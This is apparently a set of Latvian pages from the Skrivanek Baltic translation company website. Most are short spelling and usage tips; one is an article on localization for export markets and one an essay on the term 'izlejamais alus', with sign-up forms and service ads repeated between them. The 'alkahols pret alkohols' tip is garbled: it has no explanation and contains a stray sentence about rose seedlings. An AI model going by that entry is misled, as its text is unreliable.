Formas „rīdzenieki” un „rīdzinieki” agrāk lietotas paralēli, taču pēc pareizrakstības normām ir lietojama forma „rīdzinieki”. Tātad ciemosimies pie rīdziniekiem Rīgas svētkos un aicināsim rīdziniekus uz citām pilsētām! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Difterija ir slimība vai saslimšana? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-11-21 - Modified: 2024-10-23 - URL: https://skrivanek.lv/slimiba-pret-saslimsana/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SLIMĪBA PRET SASLIMŠANA 1 Vai difterija ir slimība vai saslimšana? Slimība (arī kaite, saslimums, slimums) ir stāvoklis. Var būt psihiskas slimības, bērnu slimības, infekcijas slimības, kas liek būt neveselam. Saslimšana savukārt ir notikums – slimības dabūšana, nevis slimošana (ilgstoša darbība) vai slimība (stāvoklis). Sarunvalodā mēdz teikt „noķert slimību”, tas ir, inficēties ar vīrusu, iegūt to. Tātad pēc saslimšanas ar kādu slimību drīz parādās slimības simptomi; saslimšanu ar gripu izraisa inficēšanās ar šīs slimības vīrusu; pret difteriju ir jāvakcinējas, lai novērstu saslimšanu ar šo slimību. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Komēdija ir „žanrs” vai „žandrs”? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-11-21 - Modified: 2024-08-06 - URL: https://skrivanek.lv/zanrs-pret-zandrs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ŽANRS PRET ŽANDRS 1 Vai komēdija ir „žanrs” vai „žandrs”? Mākslas darba formas kategoriju, kurai ir vēsturiski izveidotas, noteiktas raksturīgas pazīmes, sauc par žanru. Vārds cēlies no franču valodas vārda „genre” ‘veids, šķira, stils’. Līdzskanis „d” šajā vārdā ir lieks. Tātad kinoteātrī skatīsimies piedzīvojumu žanra filmas, baudīsim jaunumus operas žanrā un lasīsim fantastikas žanra romānus. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > In vino veritas – vai rakstīsim „alkahols” vai „alkohols”? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2019-11-21 - Modified: 2024-09-12 - URL: https://skrivanek.lv/alkahols-pret-alkohols/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ALKAHOLS PRET ALKOHOLS 1 In vino veritas – vai rakstīsim „alkahols” vai „alkohols”? Tātad rakstīsim „slīcināt bēdas alkoholā”, „pārmērīga alkohola lietošana ir kaitīga” u. tml. Tātad tirgū iegādājos rožu šķirnes ‘Smaida’ stādus. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā ir pareizi: džentelmeņu klubs vai džentlmeņu klubs? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2019-11-21 - Modified: 2024-10-22 - URL: https://skrivanek.lv/dzentelmenis-vai-dzentlmenis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DŽENTELMENIS PRET DŽENTLMENIS 1 Kā ir pareizi: džentelmeņu klubs vai džentlmeņu klubs? Par džentlmeni dēvē vīrieti, kas ievēro un korekti izpilda uzvedības un sadzīves normas. Vārds cēlies no angļu valodas vārda „gentleman” ‘dižciltīgs vīrietis’. Lai gan latviešu valodā līdzskaņu sablīvējums „ntlm” nav pierasts, tomēr vārds rakstāms bez patskaņa „e” starp tiem. Tātad būs „džentlmeņu klubs”, „džentlmeņa kodekss” u. c. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Lasiet rakstu un uzziniet, kādi ir pieci Skrivanek Baltic padomi par produktu lokalizāciju jauniem eksporta tirgiem. - Published: 2019-10-07 - Modified: 2024-11-12 - URL: https://skrivanek.lv/efektiva-satura-lokalizacija-panakumu-atslega-cela-uz-arvalstu-tirgiem/ - Kategorijas: Raksti - Translation Priorities: Optional EFEKTĪVA SATURA LOKALIZĀCIJA – PANĀKUMU ATSLĒGA CEĻĀ UZ ĀRVALSTU TIRGIEM Lai no Ņujorkas nokļūtu Pekinā, varam nopirkt aviobiļeti un mērot teju 11 265 km kaut šajā nedēļas nogalē. Taču, lai uzņēmums no Ņujorkas spētu veiksmīgi nodot vēstījumu par saviem produktiem Pekinas iedzīvotājiem, būs jāiegulda daudz vairāk laika un pūļu. Pieci Skrivanek Baltic padomi par produktu lokalizāciju jauniem eksporta tirgiem 1. APKOPOJIET, PĀRSKATIET UN SAGATAVOJIET PAŠUS LABĀKOS TEKSTUS Apkopojiet un pārskatiet tulkošanai un lokalizēšanai paredzētos oriģinālvalodas tekstus no savām tīmekļa vietnēm, sociālajiem plašsaziņas līdzekļiem, emuāriem un citiem pieejamajiem avotiem. Sagatavojiet tos daudzpusīgai izmantošanai, sakārtojot pēc tematikas, produktiem, auditorijas un citiem jūsu uzņēmējdarbībai svarīgiem kritērijiem. 2. SAKĀRTOJIET TEKSTUS PĒC ĢEOGRĀFISKĀS PIEDERĪBAS Kurā reģionā vai valstī vēlaties izmantot katru tekstu? Kādas ir jūsu ieceres un redzējums par to izmantošanu konkrētajā tirgū? Vai pirms tekstu publicēšanas jaunajā tirgū ir nepieciešama padziļināta kultūras un juridisko aspektu izpēte? Piemēram, Krievijā populārākais tiešsaistes meklētājs ir Yandex, bet Ķīnā – Baidu. Kurš to veiks? Kurš būs atbildīgs par jaunu lokalizēto tekstu izvietošanu jūsu tīmekļa vietnē un citviet? Kādus sociālos plašsaziņas līdzekļus izmantosiet? Ar biznesa partneriem Vācijā runāsiet LinkedIn vai tomēr Xing? 3. KONSULTĒJIETIES AR VALODU NOZARES SPECIĀLISTIEM Ņemot vērā šādu projektu sarežģītību un specifiku, pieredzējušie lokalizācijas projektu vadītāji var paveikt īstus brīnumus, piedāvājot labāko risinājumu gan vēstījuma par jūsu produktu, gan paša produkta satura pielāgošanai ārvalstu tirgiem. Iedziļinoties jūsu uzņēmuma pakalpojumu klāstā, zīmola stāstā un uzklausot jūsu mērķus un vīziju jaunu tirgu apgūšanā, projektu vadītājs sagatavos darbu plānu un izvēlēsies komandu, kas atbilstošajam reģionam un kultūrām veidos saturu jums vēlamajās valodās, kā arī pēc nepieciešamības nodrošinās lokalizētā produkta testēšanu. Lokalizācijas projektu vadītāji vienmēr parūpēsies par vispiemērotākajiem intelektuālajiem un tehnoloģiskajiem risinājumiem, kā arī veiks rūpīgu kvalitātes kontroli, ļaujot jums ievērojami taupīt laiku un resursus. 4. RUNĀJIET AR VALODU RISINĀJUMU PARTNERI Nosūtot tekstus tulkošanai bez konteksta, skaidri izklāstītas vīzijas un definētiem mērķiem, rezultāts var izrādīties neizteiksmīgs vai pat neloģisks. Veltiet laiku prezentācijai par savu uzņēmumu, produktiem, pastāstiet par savas uzņēmējdarbības veiksmēm vai tieši pretēji – neveiksmēm. Vienmēr izglītojiet projekta vadītāju un valodu speciālistus par savu produktu un zīmola atslēgvārdiem, vērtībām, lai padziļinātu viņu izpratni un uzlabotu spēju izvēlēties īstos vārdus, stāstot par jūsu produktu. Pievienojiet fotoattēlus un citu papildinformāciju, lai bagātinātu valodu speciālistu priekšstatu par jūsu zīmolu. Darba procesā veltiet laiku padarītā pārskatīšanai un atsauksmju sniegšanai, jo, tikai strādājot komandā, var radīt pārliecinošu vēstījumu. 5. UZTICIETIES SAVAI KOMANDAI Kad esat nolīdzis lokalizācijas projektu vadītāju, kurš vai nu palīdzēs jums nokomplektēt profesionālu lingvistu komandu, vai tikai uzraudzīs un vadīs jūsu štata lingvistus, sniedziet viņam pēc iespējas vairāk informācijas. Un tad – dodiet brīvu vaļu radošam darbam! Skrivanek Baltic komanda novēl jums patīkamu un produktīvu lokalizācijas pieredzi! Pārdomājiet katru detaļu laikus un izvēlieties savam uzņēmumam vispiemērotāko valodu pakalpojumu sniedzēju. Lai izdodas! --- > Par strīdus ābolu nu kļuvis jautājums, kā dēvēt alu, kas pildīts no mucas – lejamais, izlejamais vai varbūt ielejamais alus? - Published: 2019-09-30 - Modified: 2021-05-06 - URL: https://skrivanek.lv/vai-izlejams-vienmer-ir-izmetams/ - Kategorijas: valodas pērles - Translation Priorities: Optional VAI IZLEJAMS VIENMĒR IR IZMETAMS? Alus veikali mums piedāvā iegādāties dzērienu ne tikai pudelēs, bet arī pildīt to pudelēs uz vietas – no mucas. Par strīdus ābolu nu kļuvis jautājums, kā to dēvēt – lejamais, izlejamais vai varbūt ielejamais alus? Darbības vārda „liet” nozīme ir ‘panākt, ka (šķidrums) līst, tek (ārā no kā, kur iekšā); šādi pildīt (trauku)’: mēs lejam šķīvī zupu, lejam pilnu kausu ar kvasu, ielejam glāzē pienu utt. Vārds „lejams” ir darbības vārda „liet” lokāmā divdabja forma. Lokāmajiem divdabjiem piemīt ne tikai darbības vārdam, bet arī īpašības vārdam raksturīgā spēja mainīties dzimtē, skaitlī un locījumā, un tiem iespējama arī noteiktā vai nenoteiktā galotne. Īpašības vārda dabas dēļ tos bieži izmantojam apzīmētāja funkcijā, piemēram, „pazīstams aktieris”, „dzeramais ūdens”, „paceļamais tilts”. „Lejams” ir tāds, ko var liet: „lejama sula”, „lejams sidrs”, arī „lejams alus”. Kāpēc tad daļa tirgotāju piedāvā izlejamo, bet daļa – lejamo alu? Un kāpēc tik daudzi sparīgi iebilst, ka izlejamais ir tikai tāds alus, kurš jau ir sabojājies, tāpēc lejams laukā? „Pie vainas” ir atvasinājumos daudzkārt lietotais priedēklis „iz-”. Iespējams, tas asociējas ar tādām frāzēm kā „izmest ārā veco skapi”, „izsviest laukā novalkātās kurpes”, „vieta jaunai izgāztuvei” u. tml. Šajos gadījumos mēs runājam par atbrīvošanos no lietām, aizvākšanu prom, tāpēc varbūt radies priekšstats, ka tā ir arī priedēkļa vienīgā nozīme. Jāatceras, ka latviešu valodā priedēkļiem var būt vairākas nozīmes, un arī „iz-” lepojas ar daudzām lomām uz valodas skatuves. To lieto, runājot par darbību, kas notiek ilgāku laiku, intensīvi – „izpriecāties no sirds”, „izšūpoties, kā nākas”. Citkārt tas norāda, ka darbība ir pilnīga un pabeigta vai arī ir sasniegta gatavība – „izraudāt asaras”, „izmācīties par pavāru”, „izcept zivi”, „izlasīt romānu”. Izlejamā alus pārdevēji savukārt priedēkli lieto, norādot, ka darbība virzās ārā no kaut kurienes: līdzīgi kā „izkāpt no tramvaja”, „izliet no pakas”, „izbērt no maisa”, „izliet alu no mucas”. Arī „Mūsdienu latviešu valodas vārdnīca” atbalsta viņu izvēli: tajā vārds „izlejams” skaidrots kā ‘tāds, kas paredzēts izliešanai, pildīšanai traukos’. Gluži kā apģērba izvēlē, arī valodā mums var būt sava gaume. Nereti mums nav alternatīvas – uz darba tikšanos ir jāierodas klasiska griezuma kostīmā. Savukārt Dzejas dienās gluži vietā būs arī dzelteni gumijas zābaki, ar kuriem pēcāk doties pēc lejamā vai izlejamā alus, uzsaucot: „Lūdzu, ielejiet man alu! Vasilijs Ragačevičs Skrivanek Baltic direktors K. Priedes ilustrācija CITAS VALODAS PĒRLES --- > Vai varam ņemt dalību? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-09-26 - Modified: 2024-10-22 - URL: https://skrivanek.lv/nemt-dalibu-pret-piedalities/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ŅEMT DALĪBU PRET PIEDALĪTIES 1 Vai varam ņemt dalību? „Ņemt dalību” latviešu valodā ir vārdkopu kalks: tas aizgūts no krievu „принять участие”. Latviešu valodā ar nozīmi ‘iesaistīties’, ‘būt par dalībnieku’ labāk lietot darbības vārdu piedalīties. Tātad piedalīsimies konkursos, piedalīsimies svētku pasākumos u. tml. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā precīzi rakstāms šī sviesta augļa nosaukums? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2019-09-26 - Modified: 2022-12-27 - URL: https://skrivanek.lv/avokado/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional AVOKADO PRET AVOKĀDO 1 Kā precīzi rakstāms sviesta augļa nosaukums? Vārds „avokado” aizgūts no spāņu valodas vārda „aguacate”, kas savukārt cēlies no navatlu (arī acteku) valodas vārda „āhuacatl”. Latviešu valodā tas ir svešvārds, kas rakstāms ar īso patskani „a”. Gatavosim dažādus avokado salātus, viesiem uzkodās pasniegsim avokado laiviņas. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā rakstīsim šo seno pašnāvības veidu? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-09-26 - Modified: 2024-08-14 - URL: https://skrivanek.lv/harakiri-pret-harikiri/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional HARAKIRI PRET HARIKIRI 1 Kā rakstīsim šo seno pašnāvības veidu? Samuraja pašnāvības veidu, uzšķēržot vēdera dobumu, sauc par harakiri. Vārds cēlies no japāņu vārdiem „hara”, kas nozīmē ‘vēders’, un „kiri” – ‘griezt’. Iepazīsimies ar samuraju rituāliem, tostarp arī harakiri. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Pasākumu apmeklējuši desmit interesenti vai pasākumu apmeklējuši desmit interesentu? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2019-09-26 - Modified: 2022-12-27 - URL: https://skrivanek.lv/pasakumu-apmeklejusi-desmit-interesenti-pret-pasakumu-apmeklejusi-desmit-interesentu/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PASĀKUMU APMEKLĒJUŠI DESMIT INTERESENTI PRET PASĀKUMU APMEKLĒJUŠI DESMIT INTERESENTU 1 Vai aiz „desmit” rakstīsim nominatīvu vai ģenitīvu? Aiz nelokāmajiem skaitļa vārdiem – desmit, piecpadsmit, simt četrdesmit u. tml. – lietojams gan nominatīvs, gan ģenitīvs. Atkarībā no tā, ko vēlamies uzsvērt, proti, skaitu vai skaitāmās vienības, varam lietot piemēroto locījumu. Tātad pasākumu apmeklē desmit ineresentu vai desmit interesenti, ekskursijā brauc divdesmit skolēni vai divdesmit skolēnu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vasara ir ceļojumu laiks – atpūtīsimies luksus viesnīcā vai luksusa viesnīcā? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2019-09-26 - Modified: 2024-08-21 - URL: https://skrivanek.lv/luksus-viesnica-pret-luksusa-viesnica/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional LUKSUS VIESNĪCA PRET LUKSUSA VIESNĪCA 1 Vasara ir ceļojumu laiks – vai atpūtīsimies luksus viesnīcā vai luksusa viesnīcā? Vārds „luksuss” apzīmē sevišķas greznības. Tas ir aizguvums no vācu valodas vārda „Luxus”, kuram savukārt pamatā ir latīņu vārds „luxus”, kas nozīmē ‘greznums, izšķērdība, izvirtība’. Nominatīvā latviešu valodā rakstāmi divi līdzskaņi „s” vārda beigās, tāpēc ģenitīva locījumā pareizā forma ir „luksusa”. Aplamā forma tādos vārdu savienojumos kā „luksus viesnīca”, „luksus ērtības”, domājams, radusies citu valodu ietekmē – vairākās svešvalodās sastopams vārds „luxus”. Latviešu valodā tam pievienojama galotne „-s”, tāpēc nominatīvā rakstīsim „luksuss” un atbilstoši arī locīsim turpmāk: luksusa, luksusam, luksusu utt. Atpūtīsimies luksusa viesnīcās, priecāsimies par greznām luksusa mēbelēm. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu 